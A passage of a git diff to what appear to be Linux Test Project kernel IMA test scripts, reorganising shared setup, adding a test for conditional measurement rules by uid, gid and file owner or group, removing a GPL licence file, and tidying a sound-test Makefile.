@@ -34,7 +33,7 @@
 	TST_FS_TYPE="overlay"
 
 	mntpoint_backup="$TST_MNTPOINT"
-	TST_MNTPOINT="$merged"
+	TST_MNTPOINT="$PWD/$merged"
 
 	params_backup="$TST_MNT_PARAMS"
 	TST_MNT_PARAMS="-o lowerdir=$lower,upperdir=$upper,workdir=$work"
@@ -83,7 +82,7 @@
 {
 	[ -n "$mounted" ] || return 0
 
-	tst_umount $TST_DEVICE
+	tst_umount $TST_MNTPOINT
 
 	TST_DEVICE="$device_backup"
 	TST_FS_TYPE="$fs_type_backup"
@@ -91,4 +90,5 @@
 	TST_MNT_PARAMS="$params_backup"
 }
 
+. ima_setup.sh
 tst_run
diff --git a/testcases/kernel/security/integrity/ima/tests/ima_conditionals.sh b/testcases/kernel/security/integrity/ima/tests/ima_conditionals.sh
new file mode 100755
index 0000000..0d50db9
--- /dev/null
+++ b/testcases/kernel/security/integrity/ima/tests/ima_conditionals.sh
@@ -0,0 +1,65 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2021 VPI Engineering
+# Copyright (c) 2021 Petr Vorel <pvorel@suse.cz>
+# Author: Alex Henrie <alexh@vpitech.com>
+#
+# Verify that conditional rules work.
+#
+# gid and fgroup options test kernel commit 40224c41661b ("ima: add gid
+# support") from v5.16.
+
+TST_NEEDS_CMDS="cat chgrp chown id sg sudo"
+TST_CNT=1
+TST_NEEDS_DEVICE=1
+
+verify_measurement()
+{
+	local request="$1"
+	local user="nobody"
+	local test_file="$PWD/test.txt"
+	local cmd="cat $test_file > /dev/null"
+
+	local value="$(id -u $user)"
+	[ "$request" = 'gid' -o "$request" = 'fgroup' ] && value="$(id -g $user)"
+
+	require_policy_writable
+
+	ROD rm -f $test_file
+
+	tst_res TINFO "verify measuring user files when requested via $request"
+	ROD echo "measure $request=$value" \> $IMA_POLICY
+	ROD echo "$(cat /proc/uptime) $request test" \> $test_file
+
+	case "$request" in
+	fgroup)
+		chgrp $user $test_file
+		sh -c "$cmd"
+		;;
+	fowner)
+		chown $user $test_file
+		sh -c "$cmd"
+		;;
+	gid) sudo sg $user "sh -c '$cmd'";;
+	uid) sudo -n -u $user sh -c "$cmd";;
+	*) tst_brk TBROK "Invalid res type '$1'";;
+	esac
+
+	ima_check $test_file
+}
+
+test1()
+{
+	verify_measurement uid
+	verify_measurement fowner
+
+	if tst_kvcmp -lt 5.16; then
+		tst_brk TCONF "gid and fgroup options require kernel 5.16 or newer"
+	fi
+
+	verify_measurement gid
+	verify_measurement fgroup
+}
+
+. ima_setup.sh
+tst_run
diff --git a/testcases/kernel/security/integrity/ima/tests/ima_kexec.sh b/testcases/kernel/security/integrity/ima/tests/ima_kexec.sh
index 30bbd06..1c9d77e 100755
--- a/testcases/kernel/security/integrity/ima/tests/ima_kexec.sh
+++ b/testcases/kernel/security/integrity/ima/tests/ima_kexec.sh
@@ -13,8 +13,6 @@
 TST_NEEDS_DEVICE=1
 TST_SETUP="setup"
 
-. ima_setup.sh
-
 IMA_KEXEC_IMAGE="${IMA_KEXEC_IMAGE:-/boot/vmlinuz-$(uname -r)}"
 REQUIRED_POLICY='^measure.*func=KEXEC_CMDLINE'
 
@@ -117,4 +115,5 @@
 	esac
 }
 
+. ima_setup.sh
 tst_run
diff --git a/testcases/kernel/security/integrity/ima/tests/ima_keys.sh b/testcases/kernel/security/integrity/ima/tests/ima_keys.sh
index 3476b80..5716460 100755
--- a/testcases/kernel/security/integrity/ima/tests/ima_keys.sh
+++ b/testcases/kernel/security/integrity/ima/tests/ima_keys.sh
@@ -6,14 +6,12 @@
 #
 # Verify that keys are measured correctly based on policy.
 
-TST_NEEDS_CMDS="cmp cut grep sed xxd"
+TST_NEEDS_CMDS="cmp cut grep sed"
 TST_CNT=2
 TST_NEEDS_DEVICE=1
 TST_SETUP=setup
 TST_CLEANUP=cleanup
 
-. ima_setup.sh
-
 FUNC_KEYCHECK='func=KEY_CHECK'
 REQUIRED_POLICY="^measure.*$FUNC_KEYCHECK"
 
@@ -28,7 +26,6 @@
 	tst_is_num $KEYRING_ID && keyctl clear $KEYRING_ID
 }
 
-
 require_valid_policy_template()
 {
 	while read line; do
@@ -82,7 +79,7 @@
 		algorithm=$(echo "$line" | cut -d' ' -f4 | cut -d':' -f1)
 		keyring=$(echo "$line" | cut -d' ' -f5)
 
-		echo "$line" | cut -d' ' -f6 | xxd -r -p > $test_file
+		echo "$line" | cut -d' ' -f6 | tst_hexdump -d > $test_file
 
 		if ! expected_digest="$(compute_digest $algorithm $test_file)"; then
 			tst_res TCONF "cannot compute digest for $algorithm"
@@ -126,7 +123,7 @@
 		tst_brk TBROK "unable to import a certificate into $keyring_name keyring"
 
 	grep $keyring_name $ASCII_MEASUREMENTS | tail -n1 | cut -d' ' -f6 | \
-		xxd -r -p > $temp_file
+		tst_hexdump -d > $temp_file
 
 	if [ ! -s $temp_file ]; then
 		tst_res TFAIL "keyring $keyring_name not found in $ASCII_MEASUREMENTS"
@@ -145,4 +142,5 @@
 	fi
 }
 
+. ima_setup.sh
 tst_run
diff --git a/testcases/kernel/security/integrity/ima/tests/ima_measurements.sh b/testcases/kernel/security/integrity/ima/tests/ima_measurements.sh
index 1927e93..db97bea 100755
--- a/testcases/kernel/security/integrity/ima/tests/ima_measurements.sh
+++ b/testcases/kernel/security/integrity/ima/tests/ima_measurements.sh
@@ -1,7 +1,7 @@
 #!/bin/sh
 # SPDX-License-Identifier: GPL-2.0-or-later
 # Copyright (c) 2009 IBM Corporation
-# Copyright (c) 2018-2020 Petr Vorel <pvorel@suse.cz>
+# Copyright (c) 2018-2021 Petr Vorel <pvorel@suse.cz>
 # Author: Mimi Zohar <zohar@linux.ibm.com>
 #
 # Verify that measurements are added to the measurement list based on policy.
@@ -11,42 +11,12 @@
 TST_CNT=3
 TST_NEEDS_DEVICE=1
 
-. ima_setup.sh
-
 setup()
 {
 	require_ima_policy_cmdline "tcb"
 
 	TEST_FILE="$PWD/test.txt"
-	POLICY="$IMA_DIR/policy"
-	[ -f "$POLICY" ] || tst_res TINFO "not using default policy"
-}
-
-ima_check()
-{
-	local algorithm digest expected_digest line tmp
-
-	# need to read file to get updated $ASCII_MEASUREMENTS
-	cat $TEST_FILE > /dev/null
-
-	line="$(grep $TEST_FILE $ASCII_MEASUREMENTS | tail -1)"
-
-	if tmp=$(get_algorithm_digest "$line"); then
-		algorithm=$(echo "$tmp" | cut -d'|' -f1)
-		digest=$(echo "$tmp" | cut -d'|' -f2)
-	else
-		tst_res TBROK "failed to get algorithm/digest for '$TEST_FILE': $tmp"
-	fi
-
-	tst_res TINFO "computing digest for $algorithm algorithm"
-	expected_digest="$(compute_digest $algorithm $TEST_FILE)" || \
-		tst_brk TCONF "cannot compute digest for $algorithm algorithm"
-
-	if [ "$digest" = "$expected_digest" ]; then
-		tst_res TPASS "correct digest found"
-	else
-		tst_res TFAIL "digest not found"
-	fi
+	[ -f "$IMA_POLICY" ] || tst_res TINFO "not using default policy"
 }
 
 check_iversion_support()
@@ -83,8 +53,8 @@
 test1()
 {
 	tst_res TINFO "verify adding record to the IMA measurement list"
-	ROD echo "$(date) this is a test file" \> $TEST_FILE
-	ima_check
+	ROD echo "$(cat /proc/uptime) this is a test file" \> $TEST_FILE
+	ima_check $TEST_FILE
 }
 
 test2()
@@ -92,8 +62,8 @@
 
 	tst_res TINFO "verify updating record in the IMA measurement list"
 	check_iversion_support || return
-	ROD echo "$(date) modified file" \> $TEST_FILE
-	ima_check
+	ROD echo "$(cat /proc/uptime) modified file" \> $TEST_FILE
+	ima_check $TEST_FILE
 }
 
 test3()
@@ -111,14 +81,15 @@
 		return
 	fi
 
-	mkdir -m 0700 $dir
+	[ -d "$dir" ] || mkdir -m 0700 $dir
 	chown $user $dir
 	cd $dir
 	# need to read file to get updated $ASCII_MEASUREMENTS
-	sudo -n -u $user sh -c "echo $(date) user file > $file; cat $file > /dev/null"
+	sudo -n -u $user sh -c "echo $(cat /proc/uptime) user file > $file; cat $file > /dev/null"
 	cd ..
 
 	EXPECT_FAIL "grep $file $ASCII_MEASUREMENTS"
 }
 
+. ima_setup.sh
 tst_run
diff --git a/testcases/kernel/security/integrity/ima/tests/ima_policy.sh b/testcases/kernel/security/integrity/ima/tests/ima_policy.sh
index 244cf08..af1fb00 100755
--- a/testcases/kernel/security/integrity/ima/tests/ima_policy.sh
+++ b/testcases/kernel/security/integrity/ima/tests/ima_policy.sh
@@ -9,21 +9,9 @@
 TST_SETUP="setup"
 TST_CNT=2
 
-. ima_setup.sh
-
-check_policy_writable()
-{
-	local err="IMA policy already loaded and kernel not configured to enable multiple writes to it (need CONFIG_IMA_WRITE_POLICY=y)"
-
-	[ -f $IMA_POLICY ] || tst_brk TCONF "$err"
-	# CONFIG_IMA_READ_POLICY
-	echo "" 2> log > $IMA_POLICY
-	grep -q "Device or resource busy" log && tst_brk TCONF "$err"
-}
-
 setup()
 {
-	check_policy_writable
+	require_policy_writable
 
 	VALID_POLICY="$TST_DATAROOT/measure.policy"
 	[ -f $VALID_POLICY ] || tst_brk TCONF "missing $VALID_POLICY"
@@ -55,7 +43,7 @@
 
 	local p1
 
-	check_policy_writable
+	require_policy_writable
 	load_policy $INVALID_POLICY & p1=$!
 	wait "$p1"
 	if [ $? -ne 0 ]; then
@@ -71,7 +59,7 @@
 
 	local p1 p2 rc1 rc2
 
-	check_policy_writable
+	require_policy_writable
 	load_policy $VALID_POLICY & p1=$!
 	load_policy $VALID_POLICY & p2=$!
 	wait "$p1"; rc1=$?
@@ -85,4 +73,5 @@
 	fi
 }
 
+. ima_setup.sh
 tst_run
diff --git a/testcases/kernel/security/integrity/ima/tests/ima_selinux.sh b/testcases/kernel/security/integrity/ima/tests/ima_selinux.sh
index c2af0e2..2e5b56a 100755
--- a/testcases/kernel/security/integrity/ima/tests/ima_selinux.sh
+++ b/testcases/kernel/security/integrity/ima/tests/ima_selinux.sh
@@ -14,8 +14,6 @@
 TST_NEEDS_DEVICE=1
 TST_SETUP="setup"
 
-. ima_setup.sh
-
 FUNC_CRITICAL_DATA='func=CRITICAL_DATA'
 REQUIRED_POLICY="^measure.*$FUNC_CRITICAL_DATA"
 
@@ -100,8 +98,6 @@
 # configuration.
 test2()
 {
-	tst_check_cmds xxd || return
-
 	local measured_data state_file="$TST_TMPDIR/selinux_state.txt"
 	local data_source_name="selinux"
 	local pattern="data_sources=[^[:space:]]*$data_source_name"
@@ -127,7 +123,7 @@
 	digest=$(echo "$line" | cut -d' ' -f4 | cut -d':' -f2)
 	algorithm=$(echo "$line" | cut -d' ' -f4 | cut -d':' -f1)
 
-	echo "$line" | cut -d' ' -f6 | xxd -r -p > $state_file
+	echo "$line" | cut -d' ' -f6 | tst_hexdump -d > $state_file
 
 	expected_digest="$(compute_digest $algorithm $state_file)" || \
 	tst_brk TCONF "cannot compute digest for $algorithm"
@@ -170,4 +166,5 @@
 	validate_policy_capabilities $measured_data
 }
 
+. ima_setup.sh
 tst_run
diff --git a/testcases/kernel/security/integrity/ima/tests/ima_setup.sh b/testcases/kernel/security/integrity/ima/tests/ima_setup.sh
index 565f0bc..9a90329 100644
--- a/testcases/kernel/security/integrity/ima/tests/ima_setup.sh
+++ b/testcases/kernel/security/integrity/ima/tests/ima_setup.sh
@@ -10,12 +10,11 @@
 TST_CLEANUP_CALLER="$TST_CLEANUP"
 TST_CLEANUP="ima_cleanup"
 TST_NEEDS_ROOT=1
+TST_MOUNT_DEVICE=1
 
-# TST_NEEDS_DEVICE can be unset, therefore specify explicitly
+# TST_MOUNT_DEVICE can be unset, therefore specify explicitly
 TST_NEEDS_TMPDIR=1
 
-. tst_test.sh
-
 SYSFS="/sys"
 UMOUNT=
 TST_FS_TYPE="ext3"
@@ -73,6 +72,16 @@
 	fi
 }
 
+require_policy_writable()
+{
+	local err="IMA policy already loaded and kernel not configured to enable multiple writes to it (need CONFIG_IMA_WRITE_POLICY=y)"
+
+	[ -f $IMA_POLICY ] || tst_brk TCONF "$err"
+	# CONFIG_IMA_READ_POLICY
+	echo "" 2> log > $IMA_POLICY
+	grep -q "Device or resource busy" log && tst_brk TCONF "$err"
+}
+
 check_ima_policy_content()
 {
 	local pattern="$1"
@@ -134,15 +143,6 @@
 	echo $default_dir
 }
 
-mount_loop_device()
-{
-	local ret
-
-	tst_mkfs
-	tst_mount
-	cd $TST_MNTPOINT
-}
-
 print_ima_config()
 {
 	local config="${KCONFIG_PATH:-/boot/config-$(uname -r)}"
@@ -175,9 +175,9 @@
 
 	print_ima_config
 
-	if [ "$TST_NEEDS_DEVICE" = 1 ]; then
+	if [ "$TST_MOUNT_DEVICE" = 1 ]; then
 		tst_res TINFO "\$TMPDIR is on tmpfs => run on loop device"
-		mount_loop_device
+		cd "$TST_MNTPOINT"
 	fi
 
 	[ -n "$TST_SETUP_CALLER" ] && $TST_SETUP_CALLER
@@ -192,11 +192,6 @@
 	for dir in $UMOUNT; do
 		umount $dir
 	done
-
-	if [ "$TST_NEEDS_DEVICE" = 1 ]; then
-		cd $TST_TMPDIR
-		tst_umount
-	fi
 }
 
 set_digest_index()
@@ -269,6 +264,34 @@
 	echo "$algorithm|$digest"
 }
 
+ima_check()
+{
+	local test_file="$1"
+	local algorithm digest expected_digest line tmp
+
+	# need to read file to get updated $ASCII_MEASUREMENTS
+	cat $test_file > /dev/null
+
+	line="$(grep $test_file $ASCII_MEASUREMENTS | tail -1)"
+
+	if tmp=$(get_algorithm_digest "$line"); then
+		algorithm=$(echo "$tmp" | cut -d'|' -f1)
+		digest=$(echo "$tmp" | cut -d'|' -f2)
+	else
+		tst_res TBROK "failed to get algorithm/digest for '$test_file': $tmp"
+	fi
+
+	tst_res TINFO "computing digest for $algorithm algorithm"
+	expected_digest="$(compute_digest $algorithm $test_file)" || \
+		tst_brk TCONF "cannot compute digest for $algorithm algorithm"
+
+	if [ "$digest" = "$expected_digest" ]; then
+		tst_res TPASS "correct digest found"
+	else
+		tst_res TFAIL "digest not found"
+	fi
+}
+
 # check_evmctl REQUIRED_TPM_VERSION
 # return: 0: evmctl is new enough, 1: version older than required (or version < v0.9)
 check_evmctl()
@@ -312,8 +335,12 @@
 	fi
 }
 
+. tst_test.sh
+
 # loop device is needed to use only for tmpfs
 TMPDIR="${TMPDIR:-/tmp}"
-if [ "$(df -T $TMPDIR | tail -1 | awk '{print $2}')" != "tmpfs" -a -n "$TST_NEEDS_DEVICE" ]; then
-	unset TST_NEEDS_DEVICE
+if tst_supported_fs -d $TMPDIR -s "tmpfs"; then
+	unset TST_MOUNT_DEVICE
 fi
+
+. tst_test.sh
diff --git a/testcases/kernel/security/integrity/ima/tests/ima_tpm.sh b/testcases/kernel/security/integrity/ima/tests/ima_tpm.sh
index 71083ef..b675a20 100755
--- a/testcases/kernel/security/integrity/ima/tests/ima_tpm.sh
+++ b/testcases/kernel/security/integrity/ima/tests/ima_tpm.sh
@@ -10,8 +10,6 @@
 TST_NEEDS_CMDS="awk cut tail"
 TST_SETUP="setup"
 
-. ima_setup.sh
-
 EVMCTL_REQUIRED='1.3.1'
 ERRMSG_EVMCTL="=> install evmctl >= $EVMCTL_REQUIRED"
 ERRMSG_TPM="TPM hardware support not enabled in kernel or no TPM chip found"
@@ -208,7 +206,15 @@
 			return
 		fi
 		tst_check_cmds ima_boot_aggregate || return
+
 		cmd="ima_boot_aggregate -f $tpm_bios"
+
+		# TCONF: libcrypto and openssl development packages required
+		$cmd
+		if [ $? -eq 32 ]; then
+			tst_res TCONF "$cmd returned TCONF"
+			return
+		fi
 	fi
 	tst_res TINFO "using command: $cmd"
 
@@ -288,4 +294,5 @@
 	fi
 }
 
+. ima_setup.sh
 tst_run
diff --git a/testcases/kernel/security/integrity/ima/tests/ima_violations.sh b/testcases/kernel/security/integrity/ima/tests/ima_violations.sh
index b3151a1..24fa5c8 100755
--- a/testcases/kernel/security/integrity/ima/tests/ima_violations.sh
+++ b/testcases/kernel/security/integrity/ima/tests/ima_violations.sh
@@ -11,9 +11,6 @@
 TST_CNT=3
 TST_NEEDS_DEVICE=1
 
-. ima_setup.sh
-. daemonlib.sh
-
 setup()
 {
 	FILE="test.txt"
@@ -153,4 +150,6 @@
 	tst_sleep 2s
 }
 
+. ima_setup.sh
+. daemonlib.sh
 tst_run
diff --git a/testcases/kernel/security/mmc_security/LICENSE b/testcases/kernel/security/mmc_security/LICENSE
deleted file mode 100644
index 3912109..0000000
--- a/testcases/kernel/security/mmc_security/LICENSE
+++ /dev/null
@@ -1,340 +0,0 @@
-		    GNU GENERAL PUBLIC LICENSE
-		       Version 2, June 1991
-
- Copyright (C) 1989, 1991 Free Software Foundation, Inc.
-                       51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
- Everyone is permitted to copy and distribute verbatim copies
- of this license document, but changing it is not allowed.
-
-			    Preamble
-
-  The licenses for most software are designed to take away your
-freedom to share and change it.  By contrast, the GNU General Public
-License is intended to guarantee your freedom to share and change free
-software--to make sure the software is free for all its users.  This
-General Public License applies to most of the Free Software
-Foundation's software and to any other program whose authors commit to
-using it.  (Some other Free Software Foundation software is covered by
-the GNU Library General Public License instead.)  You can apply it to
-your programs, too.
-
-  When we speak of free software, we are referring to freedom, not
-price.  Our General Public Licenses are designed to make sure that you
-have the freedom to distribute copies of free software (and charge for
-this service if you wish), that you receive source code or can get it
-if you want it, that you can change the software or use pieces of it
-in new free programs; and that you know you can do these things.
-
-  To protect your rights, we need to make restrictions that forbid
-anyone to deny you these rights or to ask you to surrender the rights.
-These restrictions translate to certain responsibilities for you if you
-distribute copies of the software, or if you modify it.
-
-  For example, if you distribute copies of such a program, whether
-gratis or for a fee, you must give the recipients all the rights that
-you have.  You must make sure that they, too, receive or can get the
-source code.  And you must show them these terms so they know their
-rights.
-
-  We protect your rights with two steps: (1) copyright the software, and
-(2) offer you this license which gives you legal permission to copy,
-distribute and/or modify the software.
-
-  Also, for each author's protection and ours, we want to make certain
-that everyone understands that there is no warranty for this free
-software.  If the software is modified by someone else and passed on, we
-want its recipients to know that what they have is not the original, so
-that any problems introduced by others will not reflect on the original
-authors' reputations.
-
-  Finally, any free program is threatened constantly by software
-patents.  We wish to avoid the danger that redistributors of a free
-program will individually obtain patent licenses, in effect making the
-program proprietary.  To prevent this, we have made it clear that any
-patent must be licensed for everyone's free use or not licensed at all.
-
-  The precise terms and conditions for copying, distribution and
-modification follow.
-
-		    GNU GENERAL PUBLIC LICENSE
-   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
-
-  0. This License applies to any program or other work which contains
-a notice placed by the copyright holder saying it may be distributed
-under the terms of this General Public License.  The "Program", below,
-refers to any such program or work, and a "work based on the Program"
-means either the Program or any derivative work under copyright law:
-that is to say, a work containing the Program or a portion of it,
-either verbatim or with modifications and/or translated into another
-language.  (Hereinafter, translation is included without limitation in
-the term "modification".)  Each licensee is addressed as "you".
-
-Activities other than copying, distribution and modification are not
-covered by this License; they are outside its scope.  The act of
-running the Program is not restricted, and the output from the Program
-is covered only if its contents constitute a work based on the
-Program (independent of having been made by running the Program).
-Whether that is true depends on what the Program does.
-
-  1. You may copy and distribute verbatim copies of the Program's
-source code as you receive it, in any medium, provided that you
-conspicuously and appropriately publish on each copy an appropriate
-copyright notice and disclaimer of warranty; keep intact all the
-notices that refer to this License and to the absence of any warranty;
-and give any other recipients of the Program a copy of this License
-along with the Program.
-
-You may charge a fee for the physical act of transferring a copy, and
-you may at your option offer warranty protection in exchange for a fee.
-
-  2. You may modify your copy or copies of the Program or any portion
-of it, thus forming a work based on the Program, and copy and
-distribute such modifications or work under the terms of Section 1
-above, provided that you also meet all of these conditions:
-
-    a) You must cause the modified files to carry prominent notices
-    stating that you changed the files and the date of any change.
-
-    b) You must cause any work that you distribute or publish, that in
-    whole or in part contains or is derived from the Program or any
-    part thereof, to be licensed as a whole at no charge to all third
-    parties under the terms of this License.
-
-    c) If the modified program normally reads commands interactively
-    when run, you must cause it, when started running for such
-    interactive use in the most ordinary way, to print or display an
-    announcement including an appropriate copyright notice and a
-    notice that there is no warranty (or else, saying that you provide
-    a warranty) and that users may redistribute the program under
-    these conditions, and telling the user how to view a copy of this
-    License.  (Exception: if the Program itself is interactive but
-    does not normally print such an announcement, your work based on
-    the Program is not required to print an announcement.)
-
-These requirements apply to the modified work as a whole.  If
-identifiable sections of that work are not derived from the Program,
-and can be reasonably considered independent and separate works in
-themselves, then this License, and its terms, do not apply to those
-sections when you distribute them as separate works.  But when you
-distribute the same sections as part of a whole which is a work based
-on the Program, the distribution of the whole must be on the terms of
-this License, whose permissions for other licensees extend to the
-entire whole, and thus to each and every part regardless of who wrote it.
-
-Thus, it is not the intent of this section to claim rights or contest
-your rights to work written entirely by you; rather, the intent is to
-exercise the right to control the distribution of derivative or
-collective works based on the Program.
-
-In addition, mere aggregation of another work not based on the Program
-with the Program (or with a work based on the Program) on a volume of
-a storage or distribution medium does not bring the other work under
-the scope of this License.
-
-  3. You may copy and distribute the Program (or a work based on it,
-under Section 2) in object code or executable form under the terms of
-Sections 1 and 2 above provided that you also do one of the following:
-
-    a) Accompany it with the complete corresponding machine-readable
-    source code, which must be distributed under the terms of Sections
-    1 and 2 above on a medium customarily used for software interchange; or,
-
-    b) Accompany it with a written offer, valid for at least three
-    years, to give any third party, for a charge no more than your
-    cost of physically performing source distribution, a complete
-    machine-readable copy of the corresponding source code, to be
-    distributed under the terms of Sections 1 and 2 above on a medium
-    customarily used for software interchange; or,
-
-    c) Accompany it with the information you received as to the offer
-    to distribute corresponding source code.  (This alternative is
-    allowed only for noncommercial distribution and only if you
-    received the program in object code or executable form with such
-    an offer, in accord with Subsection b above.)
-
-The source code for a work means the preferred form of the work for
-making modifications to it.  For an executable work, complete source
-code means all the source code for all modules it contains, plus any
-associated interface definition files, plus the scripts used to
-control compilation and installation of the executable.  However, as a
-special exception, the source code distributed need not include
-anything that is normally distributed (in either source or binary
-form) with the major components (compiler, kernel, and so on) of the
-operating system on which the executable runs, unless that component
-itself accompanies the executable.
-
-If distribution of executable or object code is made by offering
-access to copy from a designated place, then offering equivalent
-access to copy the source code from the same place counts as
-distribution of the source code, even though third parties are not
-compelled to copy the source along with the object code.
-
-  4. You may not copy, modify, sublicense, or distribute the Program
-except as expressly provided under this License.  Any attempt
-otherwise to copy, modify, sublicense or distribute the Program is
-void, and will automatically terminate your rights under this License.
-However, parties who have received copies, or rights, from you under
-this License will not have their licenses terminated so long as such
-parties remain in full compliance.
-
-  5. You are not required to accept this License, since you have not
-signed it.  However, nothing else grants you permission to modify or
-distribute the Program or its derivative works.  These actions are
-prohibited by law if you do not accept this License.  Therefore, by
-modifying or distributing the Program (or any work based on the
-Program), you indicate your acceptance of this License to do so, and
-all its terms and conditions for copying, distributing or modifying
-the Program or works based on it.
-
-  6. Each time you redistribute the Program (or any work based on the
-Program), the recipient automatically receives a license from the
-original licensor to copy, distribute or modify the Program subject to
-these terms and conditions.  You may not impose any further
-restrictions on the recipients' exercise of the rights granted herein.
-You are not responsible for enforcing compliance by third parties to
-this License.
-
-  7. If, as a consequence of a court judgment or allegation of patent
-infringement or for any other reason (not limited to patent issues),
-conditions are imposed on you (whether by court order, agreement or
-otherwise) that contradict the conditions of this License, they do not
-excuse you from the conditions of this License.  If you cannot
-distribute so as to satisfy simultaneously your obligations under this
-License and any other pertinent obligations, then as a consequence you
-may not distribute the Program at all.  For example, if a patent
-license would not permit royalty-free redistribution of the Program by
-all those who receive copies directly or indirectly through you, then
-the only way you could satisfy both it and this License would be to
-refrain entirely from distribution of the Program.
-
-If any portion of this section is held invalid or unenforceable under
-any particular circumstance, the balance of the section is intended to
-apply and the section as a whole is intended to apply in other
-circumstances.
-
-It is not the purpose of this section to induce you to infringe any
-patents or other property right claims or to contest validity of any
-such claims; this section has the sole purpose of protecting the
-integrity of the free software distribution system, which is
-implemented by public license practices.  Many people have made
-generous contributions to the wide range of software distributed
-through that system in reliance on consistent application of that
-system; it is up to the author/donor to decide if he or she is willing
-to distribute software through any other system and a licensee cannot
-impose that choice.
-
-This section is intended to make thoroughly clear what is believed to
-be a consequence of the rest of this License.
-
-  8. If the distribution and/or use of the Program is restricted in
-certain countries either by patents or by copyrighted interfaces, the
-original copyright holder who places the Program under this License
-may add an explicit geographical distribution limitation excluding
-those countries, so that distribution is permitted only in or among
-countries not thus excluded.  In such case, this License incorporates
-the limitation as if written in the body of this License.
-
-  9. The Free Software Foundation may publish revised and/or new versions
-of the General Public License from time to time.  Such new versions will
-be similar in spirit to the present version, but may differ in detail to
-address new problems or concerns.
-
-Each version is given a distinguishing version number.  If the Program
-specifies a version number of this License which applies to it and "any
-later version", you have the option of following the terms and conditions
-either of that version or of any later version published by the Free
-Software Foundation.  If the Program does not specify a version number of
-this License, you may choose any version ever published by the Free Software
-Foundation.
-
-  10. If you wish to incorporate parts of the Program into other free
-programs whose distribution conditions are different, write to the author
-to ask for permission.  For software which is copyrighted by the Free
-Software Foundation, write to the Free Software Foundation; we sometimes
-make exceptions for this.  Our decision will be guided by the two goals
-of preserving the free status of all derivatives of our free software and
-of promoting the sharing and reuse of software generally.
-
-			    NO WARRANTY
-
-  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
-FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
-OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
-PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
-OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
-MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
-TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
-PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
-REPAIR OR CORRECTION.
-
-  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
-WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
-REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
-INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
-OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
-TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
-YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
-PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
-POSSIBILITY OF SUCH DAMAGES.
-
-		     END OF TERMS AND CONDITIONS
-
-	    How to Apply These Terms to Your New Programs
-
-  If you develop a new program, and you want it to be of the greatest
-possible use to the public, the best way to achieve this is to make it
-free software which everyone can redistribute and change under these terms.
-
-  To do so, attach the following notices to the program.  It is safest
-to attach them to the start of each source file to most effectively
-convey the exclusion of warranty; and each file should have at least
-the "copyright" line and a pointer to where the full notice is found.
-
-    <one line to give the program's name and a brief idea of what it does.>
-    Copyright (C) <year>  <name of author>
-
-    This program is free software; you can redistribute it and/or modify
-    it under the terms of the GNU General Public License as published by
-    the Free Software Foundation; either version 2 of the License, or
-    (at your option) any later version.
-
-    This program is distributed in the hope that it will be useful,
-    but WITHOUT ANY WARRANTY; without even the implied warranty of
-    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-    GNU General Public License for more details.
-
-    You should have received a copy of the GNU General Public License
-    along with this program; if not, write to the Free Software
-    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
-
-
-Also add information on how to contact you by electronic and paper mail.
-
-If the program is interactive, make it output a short notice like this
-when it starts in an interactive mode:
-
-    Gnomovision version 69, Copyright (C) year name of author
-    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
-    This is free software, and you are welcome to redistribute it
-    under certain conditions; type `show c' for details.
-
-The hypothetical commands `show w' and `show c' should show the appropriate
-parts of the General Public License.  Of course, the commands you use may
-be called something other than `show w' and `show c'; they could even be
-mouse-clicks or menu items--whatever suits your program.
-
-You should also get your employer (if you work as a programmer) or your
-school, if any, to sign a "copyright disclaimer" for the program, if
-necessary.  Here is a sample; alter the names:
-
-  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
-  `Gnomovision' (which makes passes at compilers) written by James Hacker.
-
-  <signature of Ty Coon>, 1 April 1989
-  Ty Coon, President of Vice
-
-This General Public License does not permit incorporating your program into
-proprietary programs.  If your program is a subroutine library, you may
-consider it more useful to permit linking proprietary applications with the
-library.  If this is what you want to do, use the GNU Library General
-Public License instead of this License.
diff --git a/testcases/kernel/sound/Makefile b/testcases/kernel/sound/Makefile
index 5c728ef..04a7c07 100644
--- a/testcases/kernel/sound/Makefile
+++ b/testcases/kernel/sound/Makefile
@@ -6,9 +6,7 @@
 
 CPPFLAGS		+= -D_GNU_SOURCE
 
-snd_timer01: CFLAGS+=-pthread
-snd_timer01: LDLIBS+=-lrt
-snd_seq01:	CFLAGS += -pthread
-snd_seq01:	LDLIBS += -lrt
+snd_timer01 snd_seq01: CFLAGS += -pthread
+snd_timer01 snd_seq01: LDLIBS += -lrt
 
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/sound/snd_seq01.c b/testcases/kernel/sound/snd_seq01.c
index c567522..31038b9 100644
--- a/testcases/kernel/sound/snd_seq01.c
+++ b/testcases/kernel/sound/snd_seq01.c
